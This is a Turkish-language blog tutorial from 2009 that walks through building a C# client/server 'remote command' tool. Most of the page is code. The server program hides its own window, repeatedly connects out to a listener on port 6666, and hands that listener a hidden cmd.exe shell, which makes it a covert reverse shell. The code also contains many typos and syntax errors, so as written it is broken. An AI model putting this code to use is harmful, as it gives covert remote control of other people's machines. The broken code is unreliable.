Tweet

Remote Command

Merhaba arkadaşlar.Bu yazımızda sizlere c# ile client server mimarisini kullanarak server çalıştığı bilgisayarın konsolunu(cmd) client arayüzünden
kontrol etmeyi göstereceğim..[...]

Server için Windows Forms Application uygulaması açıyoruz ve form ekliyoruz..

CODE:
using System;
using System.Collections.Generic;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;
using System.Diagnostics;

namespace uygulama

{

public partial class Form1 : Form
{

TcpClient tcpClient;
NetworkStream networkStream;
StreamWriter stremWriter;
StreamReader streamReader;
Process processCmd;
StringBuilder strInput;

public Form1()
{

IntializeComponent();

}

private void Form1_Shown(object sender, EventArgs e)
{

this.Hide();
for(;;)
{

RunServer();
System.Threading.Thread.Sleep(5000); // İşlemsizliği 5 dk olarak belirledik

}
}

private void RunServer()
{

tcpClient = new TcpClient ();
strInput = new StringBuilder();
if (! tcpClient.Connected)
{

try

{

tcpClient.Connect("127.0.0.1",6666); // bağlanacağı ip adresi ve port numarasını tanımladık
networkStream = tcpClient.Getstream();
streamReader = new StreamReader(networkStream);
streamReader = new StreamWriter(networkStream);

}
catch (Exception err { return; } // İstemci çalışmadığı durumda hata verdiriyoruz

processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();

}

while (true)
{

try
{

strInput.Append(streamReader.ReadLine());
strInput.Append("n");
if (strInput.ToString().LastIndexOf("terminate") >= 0) StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw new ArgumentException();
processCmd.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
catch (Exception err)
{
Cleanup();
break;
}
}

}


private void Cleanup()
{
try { processCmd.Kill(); } catch (Exception err) { };
streamReader.Close();
streamWriter.Close();
networkStream.Close();
}

private void StopServer()
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}

private void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }

}
}

private void Form1_Load(object sender, EventArgs e)
{

}
}
}


Şimdide istemci(client) tarafına bakalım;

Windows Forms Application uygulaması açıp form arayüzüne textbox ekliyoruz multiline
özelliğini aktif ediyoruz.Ben background rengi olarak siyah seçtim sizin seçimize bağlı bu..Hemen altına bir tane daha textbox ekliyoruz multiline
özelliği pasif olacak..toolStripStatusLabel ekliyoruz..




toolStripStatusLabel ekliyoruz..

Şimdi kodlarımıza geçebiliriz..

CODE:
namespace IstemciUygulama

{

public partial class Form1 : Form

{

TcpListener tcpListener;
Socket socketForServer;
NetworkStream networkStream;
StreamWriter streamWriter;
StreamReader streamReader;
StringBuilder strInput;
Thead th_StartListen,th_RunClient;

public Form1()
{

IntializeComponent();

}

private void Form1_Shown(object sender, EventArgs e)
{

th_StartListen = new Thread(new ThreadStartStartListen));
th_StatListen.Start();
textBox2.Focus();

}

private void StartListen()

{

tcpListener = new TcpListener(System.Net.IPAdress.Any, 6666);
tcpListener.Start();
toolStripStatusLabel1.Text = "6666 nolu port dinleniyor ...";
for (;;)
{

socketForServer = tcpListener.AcceptSocket();
IPEndPoint ipend = ( IPEndpoint) socketForServer.RemoteEndPoint;
toolStripStatusLabel1.Text = " Bağlanılan adres " + IPAdress.Parse(ipend.Adress.ToString());
th_RunClient = new Thread(new ThreadStart(RunClient));
th_RunClient.Start();
}
}

private void RunClient()
{

networkStream = new NetworkStream(socketForServer);
streamReader = new StreamReader(networkStream);
streamWriter = new StreamWriter(networkStream);

strInput = new StringBuilder();

while (true)

{

try

{

strInput.Append(streamReader.ReadLine());
strInput.Append("rn");

}

catch (Exception err)
{

Cleanup();
break;

}

Application.DoEvents();
DisplayMessage(strInput.ToString());
strInput.Remove(0, strInput.Length);

}
}


private void Cleanup()
{

try
{

stremReader.Close();
streamWriter.Close();
networkStream.Close();
socketForServer.Close();
}

catch (Exception err) {}
toolStripStatusLabel1.Text="Bağlantı Kesildi";

}

private delegate void DisplayDelegate(string message);

private void DisplayMessage(string message)
{

if(textBox1.InvokeReuired)
{

Invoke(new DisplayDelegate(DisplayMessage), new object [] { message });

}
else
{

textbox1.AppendText(message);
}
}

private void texBox2._KeyDown(object sender, KeyEventArgs e)

{

try
{

if (e.KeyCode == Keys.Enter)
{

strInput.Append(textBox2.Text.ToString());
streamWriter.WriteLine(strInput);
streamWriter.Flush();
strInput.Remove(0, strInput.Length);

if (textBox2.Text =="çıkış") Cleanup ();
if (textBox2.Text =="terminate") Cleanup ();
if(textBox2.Text =="cls") textbox1.Text = "";
textBox2.Text ="";
}
}

catch (Exception err) { }

}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Cleanup();
System.Environment.Exit(System.Environment.ExitCode);
}

private void textBox1_TextChanged(object sender, EventArgs e)
{
}
}
}


http://img189.imageshack.us/img189/6489/endue.jpg

Kolay gelsin arkadaşlar..


Oguzz
oguz@thecoders.net
15 Ekim 2009 17:35

İlgili Olabilecek Makaleler


Yorumlar (0)




Ziyaretçi olarak yorum yazamazsınız. Üye olmak için tıklayın Üye iseniz giriş yapın.



MENÜ » FORUM
Menü » Takip et
RSS Facebook Twitter Friendfeed
Sık Kullanılanlar Google Yahoo Live
Menü » Paylaş
E-Posta ile gönder Twitter Facebook Friendfeed
Buzz Stumbleupon Delicious Digg